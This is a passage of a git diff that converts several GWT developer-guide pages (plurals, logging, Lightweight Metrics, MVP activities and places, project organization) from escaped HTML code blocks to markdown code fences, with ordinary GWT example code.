 First, an example `Messages` interface:
 
-<pre class="prettyprint">
+```
 @DefaultLocale("en") // not required since this is the default
 public interface MyMessages extends Messages {
   @DefaultMessage("There are {0,number} items in your cart.")
   @AlternateMessage({"one", "There is 1 item in your cart."})
   String cartItems(@PluralCount int itemCount);
 }
-</pre>
+```
 
 Note that the parameter which controls which plural form is used is marked
 with the [`@PluralCount`](/javadoc/latest/com/google/gwt/i18n/client/Messages.PluralCount.html)
@@ -56,25 +56,25 @@
 
 `MyMessages_fr.properties`
 
-<pre class="prettyprint">
+```
 cartItems=There are {0,number} items in your cart.
 cartItems[one]=There is {0,number} item in your cart.
-</pre>
+```
 
-Note that the `&quot;one&quot;` plural form in French is used for
+Note that the `"one"` plural form in French is used for
 both 0 and 1, so you can't hard-code the count in the string like you can
 for English.
 
 `MyMessages_ar.properties`
 
-<pre class="prettyprint">
+```
 cartItems=There are {0,number} items in your cart.
 cartItems[none]=There are no items in your cart.
 cartItems[one]=There is one item in your cart.
 cartItems[two]=There are two items in your cart.
 cartItems[few]=There are {0,number} items in your cart, which are few.
 cartItems[many]=There are {0,number} items in your cart, which are many.
-</pre>
+```
 
 The Arabic plural rules that GWT uses are:
 
@@ -99,7 +99,7 @@
 messages"`.  You can specify that using a plural form `"=N"`, such
 as:
 
-<pre class="prettyprint">
+```
 public interface MyMessages extends Messages {
   @DefaultMessage("There are {0,number} items in your cart.")
   @AlternateMessage({
@@ -108,13 +108,13 @@
   })
   String cartItems(@PluralCount int itemCount);
 }
-</pre>
+```
 
 and the properties file entry would look like:
 
-<pre class="prettyprint">
+```
 cartItems[\=0]=Your cart is empty.
-</pre>
+```
 
 Note the escaping of the equals sign, since that separates the key from the
 value in a properties file.
@@ -130,7 +130,7 @@
 people, but it is much easier and likely to get better translations by keeping
 all the different messages together.  You can do it like this:
 
-<pre class="prettyprint">
+```
 public interface MyMessages extends Messages {
   @DefaultMessage("{1}, {2} and {0} others are here.")
   @AlternateMessage({
@@ -146,9 +146,9 @@
 ...
 
 String[] names;
-alert(peopleHere(names, names.length &gt; 0 ? names[0] : null,
-    names.length &gt; 1 ? names[1] : null));
-</pre>
+alert(peopleHere(names, names.length > 0 ? names[0] : null,
+    names.length > 1 ? names[1] : null));
+```
 
 Note that you can pass in an array for a `@PluralCount` parameter --
 its length is used for the count (`java.util.List` implementations work
@@ -168,16 +168,16 @@
 This is slightly off-topic for plurals, but it is related.  GWT supports
 formatting lists, using the locale-appropriate separators.  For example:
 
-<pre class="prettyprint">
+```
 public interface MyMessages extends Messages {
   @DefaultMessage("Orders {0,list,number} are ready for pickup.")
   @AlternateMessage({
       "=0", "No orders are ready for pickup.",
       "one", "Order {0,list,number} is ready for pickup."
   })
-  String ordersReady(@PluralCount List&lt;Integer&gt; orders);
+  String ordersReady(@PluralCount List<Integer> orders);
 }
-</pre>
+```
 
 The format specifier `{0,list,number}` says that argument 0 is to be
 formatted as a list, with each element formatted as a number.  The same format
@@ -188,10 +188,10 @@
 
 In English, the results would be:
 
-*   `ordersReady(Arrays.asList())` =&gt; `"No orders are ready for pickup."`
-*   `ordersReady(Arrays.asList(14)})` =&gt; `"Order 14 is ready for pickup."`
-*   `ordersReady(Arrays.asList(14, 17))` =&gt; `"Orders 14 and 17 are ready for pickup."`
-*   `ordersReady(Arrays.asList(14, 17, 21))` =&gt; `"Orders 14, 17, and 21 are ready for pickup."`
+*   `ordersReady(Arrays.asList())` => `"No orders are ready for pickup."`
+*   `ordersReady(Arrays.asList(14)})` => `"Order 14 is ready for pickup."`
+*   `ordersReady(Arrays.asList(14, 17))` => `"Orders 14 and 17 are ready for pickup."`
+*   `ordersReady(Arrays.asList(14, 17, 21))` => `"Orders 14, 17, and 21 are ready for pickup."`
 
 Note that GWT only knows about the default list separators used for a
 language, and that while you might want to say something like `"a, b, or
diff --git a/src/main/markdown/doc/latest/DevGuideIE9.md b/src/main/markdown/doc/latest/DevGuideIE9.md
index 701c666..3525c33 100644
--- a/src/main/markdown/doc/latest/DevGuideIE9.md
+++ b/src/main/markdown/doc/latest/DevGuideIE9.md
@@ -35,21 +35,21 @@
 a new version of your app. If you are using X-UA-compatible tag, test on older
 browsers as well.
 
-In short, whenever possible, use standards mode by adding &lt;!DOCTYPE html> as
-the first element in your html file; and add &lt;meta http-equiv="X-UA-Compatible"
-content="IE=9" > to &lt;head> to future proof your app. Avoid using 'edge' unless
+In short, whenever possible, use standards mode by adding `<!DOCTYPE html>` as
+the first element in your html file; and add `< meta http-equiv="X-UA-Compatible"
+content="IE=9">` to `<head>` to future proof your app. Avoid using 'edge' unless
 you are sure what you are doing.
 
-<pre class="prettyprint">
-&lt;!DOCTYPE html&gt;
-&lt;html&gt;
-&lt;head&gt;
-&lt;meta http-equiv="X-UA-Compatible" content="IE=9"&gt;
-&lt;/head&gt;
-&lt;body&gt;
-&lt;script language='javascript'&gt;
+```
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="X-UA-Compatible" content="IE=9">
+</head>
+<body>
+<script language='javascript'>
 ..
-</pre>
+```
 
 More information can be found here: [http://msdn.microsoft.com/en-us/library/cc288325%28v=vs.85%29.aspx](http://msdn.microsoft.com/en-us/library/cc288325%28v=vs.85%29.aspx)
 
@@ -79,8 +79,8 @@
 implementation. A warning will be raised during compilation (see below), and
 it's suggested that you verify the implementation works as expected in IE9.
 
-_Could not find an exact match rule. Using 'closest' rule &lt;replace-with
-class='com.google.gwt.widget.client.impl.MySuperDuperWidgetIE6'/> based on fall
+_Could not find an exact match rule. Using 'closest' rule `<replace-with
+class='com.google.gwt.widget.client.impl.MySuperDuperWidgetIE6'/>` based on fall
 back values. You may need to implement a specific binding in case the fall back
 behavior does not replace the missing binding_
 
diff --git a/src/main/markdown/doc/latest/DevGuideLightweightMetrics.md b/src/main/markdown/doc/latest/DevGuideLightweightMetrics.md
index 9f0197d..d1f6871 100644
--- a/src/main/markdown/doc/latest/DevGuideLightweightMetrics.md
+++ b/src/main/markdown/doc/latest/DevGuideLightweightMetrics.md
@@ -23,21 +23,21 @@
 
 For example, when loading a GWT application, the steps involved in the process consist of bootstrapping the application, loading external references, and starting up the GWT module. Each of these steps further break down into dowloading the bootstrap script, selecting the right permutation of your application to load, fetching the permutation, and so on. This is illustrated in the [Lightweight Metrics design doc](http://code.google.com/p/google-web-toolkit/wiki/LightweightMetricsDesign) (see GWT Startup Process diagram). Each of the smaller steps, like selecting the correct permutation of the application to load, can be represented as events you would like to measure in the overall application load time. The events themselves are standard JSON objects that contain the following information:
 
-<pre class="prettyprint">
+```
 { 
-  moduleName : &lt;Module name&gt;,
-  subSystem : &lt;Subsystem name&gt;,
-  evtGroup : &lt;Event group&gt;,
-  millis : &lt;Current time in millis&gt;,
-  type : &lt;Event type&gt;
+  moduleName : <Module name>,
+  subSystem : <Subsystem name>,
+  evtGroup : <Event group>,
+  millis : <Current time in millis>,
+  type : <Event type>
 }
-</pre>
+```
 
 The `moduleName` is the name of your [GWT module](DevGuideOrganizingProjects.html#DevGuideModules). The `subSystem` refers to the specific component that is emitting these events in your GWT application (for example, the GWT RPC subsystem). The `evtGroup` is analogous to a grouping of related events that can be assumed to follow a serial order. The `millis` field contains the timestamp when the event was emitted, and the `type` field indicates the actual method or step that was run and emitted the event. Each `(moduleName, subSystem, evtGroup, type)` tuple can be interpreted as a checkpoint in an event group.
 
 In the GWT Startup Process, the event for selecting a permutation might look something like:
 
-<pre class="prettyprint">
+```
 { 
   moduleName : 'Showcase',
   subSystem : 'startup',
@@ -45,7 +45,7 @@
   millis : new Date().getTime();
   type : 'selectingPermutation'
 }
-</pre>
+```
 
 ### Global Collector Function
 
@@ -53,11 +53,11 @@
 
 Here's an example of what the `__gwtStatsEvent()` function might look like if you wanted to log all the events you have timed in your GWT application:
 
-<pre class="prettyprint">
-&lt;head&gt;
-  &lt;title&gt;Hello&lt;/title&gt;
+```
+<head>
+  <title>Hello</title>
 
-  &lt;script language='javascript'&gt;
+  <script language='javascript'>
     function eventToString(event) {
       // return some string representation of this event
       return event.evtGroup + " | " + event.moduleName + " | " + event.subSystem + " | " + event.type + " | " + event.millis;
@@ -74,7 +74,7 @@
       } else {
         if (this.buffer) {
         // We have some data that was reported before the div was connected
-          for (var i = 0; i &lt; buffer.length; i++) {
+          for (var i = 0; i < buffer.length; i++) {
             // print it all to the div
             var bufferedEvent = buffer[i];
             var logline = document.createElement("div");
@@ -93,14 +93,14 @@
       // The collector function should indicate success
       return true;
     }
-  &lt;/script&gt;
-&lt;/head&gt;
-&lt;body&gt;
-  &lt;div id="log"&gt;&lt;h3&gt;Statistics for Events Logged&lt;/h3&gt;&lt;/div&gt;
-  &lt;script type="text/javascript" language="javascript" src="hello/hello.nocache.js"&gt;&lt;/script&gt;
-  &lt;iframe src="javascript:''" id="__gwt_historyFrame" style="position:absolute;width:0;height:0;border:0"&gt;&lt;/iframe&gt;
-&lt;/body&gt;
-</pre>
+  </script>
+</head>
+<body>
+  <div id="log"><h3>Statistics for Events Logged</h3></div>
+  <script type="text/javascript" language="javascript" src="hello/hello.nocache.js"></script>
+  <iframe src="javascript:''" id="__gwt_historyFrame" style="position:absolute;width:0;height:0;border:0"></iframe>
+</body>
+```
 
 ## Measurable events already in-place<a id="already"></a>
 
@@ -110,7 +110,7 @@
 
 You can use the Lightweight Metrics system to measure important events that are specific to your own application. For example, suppose you have a potentially expensive method call somewhere in your entry point `onModuleLoad()` called `createWidget()`. Create the following method that calls the global stats collector function to measure the time it takes for `createWidget()` to execute:
 
-<pre class="prettyprint">
+```
 public class StatsEventLogger {
   public static native void logEvent(String moduleName, String subSystem,
       String eventGroup, double millis, String type) /*-{
@@ -123,11 +123,11 @@
     });
   }-*/;
 }
-</pre>
+```
 
 Next, add calls before and after the code you want to profile in the createWidget() method, as shown below:
 
-<pre class="prettyprint">
+```
 public FlexTable createWidget() {
   FlexTable listings = new FlexTable();
   double startTime = Duration.currentTimeMillis();
@@ -137,7 +137,7 @@
   StatsEventLogger.logEvent(GWT.getModuleName(), "listings", "loadListings", endTime, "end");
   return listings;
 }
-</pre>
+```
 
 ## Measuring multiple modules simultaneously<a id="multiple"></a>
 
diff --git a/src/main/markdown/doc/latest/DevGuideLogging.md b/src/main/markdown/doc/latest/DevGuideLogging.md
index 7cf49ac..1920e4f 100644
--- a/src/main/markdown/doc/latest/DevGuideLogging.md
+++ b/src/main/markdown/doc/latest/DevGuideLogging.md
@@ -26,14 +26,14 @@
 
 Adding GWT logging is really quite simple, as simple as the following code example. However &mdash; understanding how logging works, and how to correctly configure it is important, so please do take the time to read the rest of this document.
 
-<pre class="prettyprint">
-    # In your .gwt.xml file
-    &lt;inherits name="com.google.gwt.logging.Logging"/&gt;
+```
+# In your .gwt.xml file
+    <inherits name="com.google.gwt.logging.Logging"/>
 
     # In your .java file
     Logger logger = Logger.getLogger("NameOfYourLogger");
     logger.log(Level.SEVERE, "this message should get logged");
-</pre>
+```
 
 **Warning about inheriting logging:** If you do not inherit `com.google.gwt.logging.Logging`, then logging will technically work, since the emulation of the Java code is always present. However, you will not get any default Handlers, or any ability to configure the Root Logger (as discussed in this document).  Not inheriting Logging is sometimes done by libraries that want to log errors or information but do not want to control how a customer application would display that information (they don't want to configure or turn on logging, but they do want to make logging information available if a user of the library does turn on logging).
 
@@ -54,17 +54,19 @@
 
 If you open [`LogExample.java`](https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/LogExample.java) you can see that we've created 3 loggers:
 
-<pre class="prettyprint">// <a href="https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/LogExample.java">LogExample.java</a>
+```
+// <a href="https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/LogExample.java">LogExample.java</a>
 
   private static Logger childLogger = Logger.getLogger("ParentLogger.Child");
   private static Logger parentLogger = Logger.getLogger("ParentLogger");
   private static Logger rootLogger = Logger.getLogger("");
-</pre>
+```
 
 We've passed these 3 loggers into [`LoggerController`](https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/LoggerController.java), which in turn, creates an instance of
 [`OneLoggerController`](https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/OneLoggerController.java) for each of them.  In `OneLoggerController.java` you can see example code for changing the Level of the logger, logging to the logger, and logging an exception to the logger.
 
-<pre class="prettyprint">// <a href="https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/OneLoggerController.java">OneLoggerController</a>
+```
+// <a href="https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/OneLoggerController.java">OneLoggerController</a>
 
   // Change the level of the logger
   @UiHandler("levelTextBox")
@@ -94,7 +96,7 @@
       <b>logger.log(Level.SEVERE, "Null Exception Hit", ex);</b>
     }
   }
-</pre>
+```
 
 You can play around with these 3 loggers. For now, the easiest place to look for log messages is the popup created in LogExample.java on the web page <!-- doog: add a link --> (different Handlers are discussed in the next section).
 
@@ -106,13 +108,13 @@
 
 The other way to configure GWT logging is through a .gwt.xml file as follows:
 
-<pre class="prettyprint">
+```
 # LogExample.gwt.xml
 
-    &lt;set-property name="gwt.logging.logLevel" value="SEVERE"/&gt;          # To change the default logLevel
-    &lt;set-property name="gwt.logging.enabled" value="FALSE"/&gt;            # To disable logging
-    &lt;set-property name="gwt.logging.consoleHandler" value="DISABLED"/&gt;  # To disable a default Handler
-</pre>
+    <set-property name="gwt.logging.logLevel" value="SEVERE"/>          # To change the  default logLevel
+    <set-property name="gwt.logging.enabled" value="FALSE"/>            # To disable logging
+    <set-property name="gwt.logging.consoleHandler" value="DISABLED"/>  # To disable a default Handler
+```
 
 You can experiment with configuring logging in the provided LogExample.gwt.xml file.
 
@@ -122,7 +124,8 @@
 
 Here's an example of how a checkbox adds or removes a handler:
 
-<pre class="prettyprint">// <a href="https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/HandlerController.java">HandlerController.java</a>
+```
+// <a href="https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/HandlerController.java">HandlerController.java</a>
 
     public void onValueChange(ValueChangeEvent<Boolean> event) {
       if (checkbox.getValue()) {
@@ -131,7 +134,7 @@
         <b>logger.removeHandler(handler);</b>
       }
     }
-</pre>
+```
 
 Most of the default Handlers are very straightforward
 
@@ -154,7 +157,8 @@
 Once we have one of these widgets, we simply pass it into the constructor
 of a `HasWidgetsLogHandler` and add that Handler to a logger.
 
-<pre class="prettyprint">// <a href="https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/client/ui/VerticalPanel.java">VerticalPanel.java</a>
+```
+// <a href="https://gwt.googlesource.com/gwt/+/master/user/src/com/google/gwt/user/client/ui/VerticalPanel.java">VerticalPanel.java</a>
 
     VerticalPanel customLogArea;
 
@@ -163,7 +167,7 @@
     //  with it, and add that handler to a logger. In this case, we add it to a particular logger in order
     //  to demonstrate how the logger hierarchy works, but adding it to the root logger would be fine.
     logger.addHandler(new HasWidgetsLogHandler(customLogArea));
-</pre>
+```
 
 ## Client vs. Server-side Logging<a id="Client_vs_Server_side_Logging"></a>
 
@@ -177,11 +181,11 @@
 
 In order for events that are logged by client-side code to be stored on the server side, you need to use a `RemoteLogHandler`.  This handler will send log messages to the server, where they will be logged using the server-side logging mechanism. GWT currently contains a `SimpleRemoteLogHandler` which will do this in the simplest possible way (using GWT-RPC) and no intelligent batching, exponential backoffs in case of failure, and so forth.  This logger is disabled by default, but you can enable it in the .gwt.xml file (see the section on Handlers above for more details on configuring the default Handlers).
 
-<pre class="prettyprint">
+```
 # <a href="https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/LogExample.gwt.xml">LogExample.gwt.xml</a>
 
-  &lt;set-property name="gwt.logging.simpleRemoteHandler" value="ENABLED" /&gt;
-</pre>
+  <set-property name="gwt.logging.simpleRemoteHandler" value="ENABLED" />
+```
 
 You will also need to serve the remoteLoggingServlet.
 
@@ -189,23 +193,26 @@
 
 When logging is disabled, the compiler will used Deferred Binding to substitute Null implementations for the Logger and Level classes. Since these implementations just return Null, and do nothing, they will generally get trimmed by the GWT compiler (which does a pretty good job of removing useless code).  However, it is not guaranteed that other code you write related to logging will compile out.  If you want to guarantee that some chunk of code is removed when logging is disabled, you can use the `LogConfiguration.loggingIsEnabled()` method:
 
-<pre class="prettyprint">
-  if (LogConfiguration.loggingIsEnabled()) {
+```
+if (LogConfiguration.loggingIsEnabled()) {
     String logMessage = doSomethingExpensiveThatDoesNotNormallyCompileOut();
     logger.severe(logMessage);
-  }</pre>
+  }
+```
 
 Code that normally compiles out will still be present in Development mode.  You can  use the same condition as above to hide code from Development Mode, as shown here:
 
-<pre class="prettyprint">// <a href="https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/CustomLogArea.java">VerticalPanel.java</a>
+```
+
+// <a href="https://gwt.googlesource.com/gwt/+/master/samples/logexample/src/com/google/gwt/sample/logexample/client/CustomLogArea.java">VerticalPanel.java</a>
 
     // Although this code will compile out without this check in web mode, the guard will ensure
     // that the handler does not show up in development mode.
     if (LogConfiguration.loggingIsEnabled()) {
       logger.addHandler(new HasWidgetsLogHandler(customLogArea));
     }
-</pre>
 
+```
 ## Emulated and Non-Emulated Classes<a id="Emulated_And_Non_Emulated"></a>
 
 The GWT logging framework does not emulate all parts of java.util.logging.
@@ -213,12 +220,14 @@
 
 The following Handlers and Formatters are provided:
 
-<pre>
-  HTMLFormatter
+```
+
+HTMLFormatter
   TextFormatter
   SystemLogHandler
   ConsoleLogHandler
   FirebugLogHandler
   DevelopmentModeLogHandler
   HasWidgetsLogHandler (and LoggingPopup to use with it)
-</pre>
+```
+
diff --git a/src/main/markdown/doc/latest/DevGuideMvpActivitiesAndPlaces.md b/src/main/markdown/doc/latest/DevGuideMvpActivitiesAndPlaces.md
index 6a217be..406c38a 100644
--- a/src/main/markdown/doc/latest/DevGuideMvpActivitiesAndPlaces.md
+++ b/src/main/markdown/doc/latest/DevGuideMvpActivitiesAndPlaces.md
@@ -69,16 +69,16 @@
 to extend IsWidget if they do in fact provide a Widget. Here is a simple
 view from our sample app.
 
-<pre class="prettyprint">
+```
 public interface GoodbyeView extends IsWidget {
     void setName(String goodbyeName);
 }
-</pre>
+```
 
 The corresponding view implementation extends Composite, which keeps
 dependencies on a particular Widget from leaking out.
 
-<pre class="prettyprint">
+```
 public class GoodbyeViewImpl extends Composite implements GoodbyeView {
     SimplePanel viewPanel = new SimplePanel();
     Element nameSpan = DOM.createSpan();
@@ -90,15 +90,15 @@
 
     @Override
     public void setName(String name) {
-        nameSpan.setInnerText(&quot;Good-bye, &quot; + name);
+        nameSpan.setInnerText("Good-bye, " + name);
     }
 }
-</pre>
+```
 
 Here is a slightly more complicated view that additionally
 defines an interface for its corresponding presenter (activity).
 
-<pre class="prettyprint">
+```
 public interface HelloView extends IsWidget {
     void setName(String helloName);
     void setPresenter(Presenter presenter);
@@ -107,7 +107,7 @@
         void goTo(Place place);
     }
 }
-</pre>
+```
 
 The Presenter interface and setPresenter method allow for
 bi-directional communication between view and presenter, which
@@ -119,62 +119,62 @@
 [UiBinder](DevGuideUiBinder.html)
 and a template.
 
-<pre class="prettyprint">
+```
 public class HelloViewImpl extends Composite implements HelloView {
-	private static HelloViewImplUiBinder uiBinder = GWT
-			.create(HelloViewImplUiBinder.class);
+    private static HelloViewImplUiBinder uiBinder = GWT
+            .create(HelloViewImplUiBinder.class);
 
-	interface HelloViewImplUiBinder extends UiBinder<Widget, HelloViewImpl> {
-	}
+    interface HelloViewImplUiBinder extends UiBinder<Widget, HelloViewImpl> {
+    }
 
-	@UiField
-	SpanElement nameSpan;
-	@UiField
-	Anchor goodbyeLink;
-	private Presenter presenter;
-	private String name;
+    @UiField
+    SpanElement nameSpan;
+    @UiField
+    Anchor goodbyeLink;
+    private Presenter presenter;
+    private String name;
 
-	public HelloViewImpl() {
-		initWidget(uiBinder.createAndBindUi(this));
-	}
+    public HelloViewImpl() {
+        initWidget(uiBinder.createAndBindUi(this));
+    }
 
-	@Override
-	public void setName(String name) {
-		this.name = name;
-		nameSpan.setInnerText(name);
-	}
+    @Override
+    public void setName(String name) {
+        this.name = name;
+        nameSpan.setInnerText(name);
+    }
 
-	@UiHandler("goodbyeLink")
-	void onClickGoodbye(ClickEvent e) {
-		presenter.goTo(new GoodbyePlace(name));
-	}
+    @UiHandler("goodbyeLink")
+    void onClickGoodbye(ClickEvent e) {
+        presenter.goTo(new GoodbyePlace(name));
+    }
 
-	@Override
-	public void setPresenter(Presenter presenter) {
-		this.presenter = presenter;
-	}
+    @Override
+    public void setPresenter(Presenter presenter) {
+        this.presenter = presenter;
+    }
 }
-</pre>
+```
 
 Note the use of @UiHandler that delegates to the presenter.
 Here is the corresponding template:
 
-<pre class="prettyprint">
-&lt;!DOCTYPE ui:UiBinder SYSTEM &quot;http://dl.google.com/gwt/DTD/xhtml.ent&quot;&gt;
-&lt;ui:UiBinder xmlns:ui=&quot;urn:ui:com.google.gwt.uibinder&quot;
-			 xmlns:g=&quot;urn:import:com.google.gwt.user.client.ui&quot;&gt;
-	&lt;ui:style&gt;
-		.important {
-			font-weight: bold;
-		}
-	&lt;/ui:style&gt;
-	&lt;g:HTMLPanel&gt;
-		Hello,
-		&lt;span class=&quot;{style.important}&quot; ui:field=&quot;nameSpan&quot; /&gt;
-		&lt;g:Anchor ui:field=&quot;goodbyeLink&quot; text=&quot;Say good-bye&quot;&gt;&lt;/g:Anchor&gt;
-	&lt;/g:HTMLPanel&gt;
-&lt;/ui:UiBinder&gt;
-</pre>
+```
+<!DOCTYPE ui:UiBinder SYSTEM "http://dl.google.com/gwt/DTD/xhtml.ent">
+<ui:UiBinder xmlns:ui="urn:ui:com.google.gwt.uibinder"
+             xmlns:g="urn:import:com.google.gwt.user.client.ui">
+    <ui:style>
+        .important {
+            font-weight: bold;
+        }
+    </ui:style>
+    <g:HTMLPanel>
+        Hello,
+        <span class="{style.important}" ui:field="nameSpan" />
+        <g:Anchor ui:field="goodbyeLink" text="Say good-bye"></g:Anchor>
+    </g:HTMLPanel>
+</ui:UiBinder>
+```
 
 Because Widget creation involves DOM operations, views are
 relatively expensive to create. It is therefore good practice to make
@@ -189,14 +189,14 @@
 the event bus. Our example uses a ClientFactory to provide an EventBus,
 GWT PlaceController, and view implementations.
 
-<pre class="prettyprint">
+```
 public interface ClientFactory {
     EventBus getEventBus();
     PlaceController getPlaceController();
     HelloView getHelloView();
     GoodbyeView getGoodbyeView();
 }
-</pre>
+```
 
 Another advantage of using a ClientFactory is that you can use it
 with GWT deferred binding to use different implementation classes based
@@ -205,20 +205,20 @@
 default DesktopClientFactory. To do this, instantiate your ClientFactory
 with GWT.create in onModuleLoad(), like this:
 
-<pre class="prettyprint">
-    ClientFactory clientFactory = GWT.create(ClientFactory.class);
-</pre>
+```
+ClientFactory clientFactory = GWT.create(ClientFactory.class);
+```
 
 Specify the implementation class in .gwt.xml:
 
-<pre class="prettyprint">
-    &lt;!-- Use ClientFactoryImpl by default --&gt;
-    &lt;replace-with class="com.hellomvp.client.ClientFactoryImpl"&gt;
-    &lt;when-type-is class="com.hellomvp.client.ClientFactory"/&gt;
-    &lt;/replace-with&gt;
-</pre>
+```
+<!-- Use ClientFactoryImpl by default -->
+    <replace-with class="com.hellomvp.client.ClientFactoryImpl">
+    <when-type-is class="com.hellomvp.client.ClientFactory"/>
+    </replace-with>
+```
 
-You can use &lt;when-property-is&gt; to specify different
+You can use `<when-property-is>` to specify different
 implementations based on user.agent, locale, or other properties you
 define. The [mobilewebapp](https://gwt.googlesource.com/gwt/+/master/samples/mobilewebapp/)
 sample application defines a "formfactor" property used to 
@@ -226,7 +226,7 @@
 
 Here is a default implementation of ClientFactory for the sample app:
 
-<pre class="prettyprint">
+```
 public class ClientFactoryImpl implements ClientFactory {
     private final EventBus eventBus = new SimpleEventBus();
     private final PlaceController placeController = new PlaceController(eventBus);
@@ -239,7 +239,7 @@
     }
     ...
 }
-</pre>
+```
 
 ## Activities<a id="Activities"></a>
 
@@ -248,12 +248,12 @@
 (null) implementations of all required methods. Here is a HelloActivity,
 which simply says hello to a named user:
 
-<pre class="prettyprint">
+```
 public class HelloActivity extends AbstractActivity implements HelloView.Presenter {
     // Used to obtain views, eventBus, placeController
     // Alternatively, could be injected via GIN
     private ClientFactory clientFactory;
-    // Name that will be appended to &quot;Hello,&quot;
+    // Name that will be appended to "Hello,"
     private String name;
 
     public HelloActivity(HelloPlace place, ClientFactory clientFactory) {
@@ -277,7 +277,7 @@
      */
     @Override
     public String mayStop() {
-        return &quot;Please hold on. This activity is stopping.&quot;;
+        return "Please hold on. This activity is stopping.";
     }
 
     /**
@@ -287,7 +287,7 @@
         clientFactory.getPlaceController().goTo(place);
     }
 }
-</pre>
+```
 
 The first thing to notice is that HelloActivity makes reference
 to HelloView, which is a view interface, not an implementation. One style
@@ -336,7 +336,7 @@
 Place's simple class name (like "HelloPlace") followed by a colon (:)
 and the token returned by the PlaceTokenizer.
 
-<pre class="prettyprint">
+```
 public class HelloPlace extends Place {
     private String helloName;
 
@@ -348,7 +348,7 @@
         return helloName;
     }
 
-    public static class Tokenizer implements PlaceTokenizer&lt;HelloPlace&gt; {
+    public static class Tokenizer implements PlaceTokenizer<HelloPlace> {
         @Override
         public String getToken(HelloPlace place) {
             return place.getHelloName();
@@ -360,7 +360,7 @@
         }
     }
 }
-</pre>
+```
 
 It is convenient (though not required) to declare the
 PlaceTokenizer as a static class inside the corresponding Place.
@@ -376,12 +376,12 @@
 annotation @WithTokenizers to list each of your tokenizer classes. Here
 is the PlaceHistoryMapper in our sample:
 
-<pre class="prettyprint">
+```
 @WithTokenizers({HelloPlace.Tokenizer.class, GoodbyePlace.Tokenizer.class})
 public interface AppPlaceHistoryMapper extends PlaceHistoryMapper
 {
 }
-</pre>
+```
 
 At GWT compile time, GWT generates (see
 PlaceHistoryMapperGenerator) a class based on your interface that
@@ -403,7 +403,7 @@
 new SomeActivity(place)". Here is the ActivityMapper for our
 sample app:
 
-<pre class="prettyprint">
+```
 public class AppActivityMapper implements ActivityMapper {
     private ClientFactory clientFactory;
 
@@ -421,7 +421,7 @@
         return null;
     }
 }
-</pre>
+```
 
 Note that our ActivityMapper must know about the ClientFactory so it can provide
 it to activities as needed.
@@ -430,9 +430,9 @@
 
 Here's how all the pieces come together in onModuleLoad():
 
-<pre class="prettyprint">
+```
 public class HelloMVP implements EntryPoint {
-    private Place defaultPlace = new HelloPlace(&quot;World!&quot;);
+    private Place defaultPlace = new HelloPlace("World!");
     private SimplePanel appWidget = new SimplePanel();
 
     public void onModuleLoad() {
@@ -455,7 +455,7 @@
         historyHandler.handleCurrentHistory();
     }
 }
-</pre>
+```
 
 ## How it all works<a id="How_it_all_works"></a>
 
@@ -509,6 +509,6 @@
 ## Related resources<a id="resources"></a>
 
 *   [High-Performance GWT](http://www.google.com/events/io/2011/sessions/high-performance-gwt-best-practices-for-writing-smaller-faster-apps.html)
-		(starting at 18:12, slides 23-41)
+        (starting at 18:12, slides 23-41)
 *   [Using GWT and Eclipse to Build Great Mobile Web Apps](http://www.google.com/events/io/2011/sessions/using-gwt-and-eclipse-to-build-great-mobile-web-apps.html)
-		(form factor discussion starting at 3:56, slides 6-20)
+        (form factor discussion starting at 3:56, slides 6-20)
diff --git a/src/main/markdown/doc/latest/DevGuideOrganizingProjects.md b/src/main/markdown/doc/latest/DevGuideOrganizingProjects.md
index b472f3b..b2e818d 100644
--- a/src/main/markdown/doc/latest/DevGuideOrganizingProjects.md
+++ b/src/main/markdown/doc/latest/DevGuideOrganizingProjects.md
@@ -22,35 +22,35 @@
 application written with GWT from scratch might not include any visible HTML body content at all. The example below shows how to embed a GWT application that will use the entire
 browser window.
 
-<pre class="prettyprint">
- &lt;html&gt;
-  &lt;head&gt;
+```
+<html>
+  <head>
   
-    &lt;!-- Properties can be specified to influence deferred binding --&gt;
-    &lt;meta name='gwt:property' content='locale=en_UK'&gt;
+    <!-- Properties can be specified to influence deferred binding -->
+    <meta name='gwt:property' content='locale=en_UK'>
     
-    &lt;!-- Stylesheets are optional, but useful --&gt;
-    &lt;link rel=&quot;stylesheet&quot; href=&quot;Calendar.css&quot;&gt;
+    <!-- Stylesheets are optional, but useful -->
+    <link rel="stylesheet" href="Calendar.css">
     
-    &lt;!-- Titles are optional, but useful --&gt;
-    &lt;title&gt;Calendar App&lt;/title&gt;
+    <!-- Titles are optional, but useful -->
+    <title>Calendar App</title>
     
-  &lt;/head&gt;
-  &lt;body&gt;
+  </head>
+  <body>
    
-    &lt;!-- This script tag is what actually loads the GWT module.  The --&gt;
-    &lt;!-- 'nocache.js' file (also called a &quot;selection script&quot;) is     --&gt;
-    &lt;!-- produced by the GWT compiler in the module output directory --&gt;
-    &lt;!-- or generated automatically in development mode.             --&gt;
-    &lt;script language=&quot;javascript&quot; src=&quot;calendar/calendar.nocache.js&quot;&gt;&lt;/script&gt;
+    <!-- This script tag is what actually loads the GWT module.  The -->
+    <!-- 'nocache.js' file (also called a "selection script") is     -->
+    <!-- produced by the GWT compiler in the module output directory -->
+    <!-- or generated automatically in development mode.             -->
+    <script language="javascript" src="calendar/calendar.nocache.js"></script>
     
-    &lt;!-- Include a history iframe to enable full GWT history support --&gt;
-    &lt;!-- (the id must be exactly as shown)                           --&gt;
-    &lt;iframe src=&quot;javascript:''&quot; id=&quot;__gwt_historyFrame&quot; style=&quot;width:0;height:0;border:0&quot;&gt;&lt;/iframe&gt;
+    <!-- Include a history iframe to enable full GWT history support -->
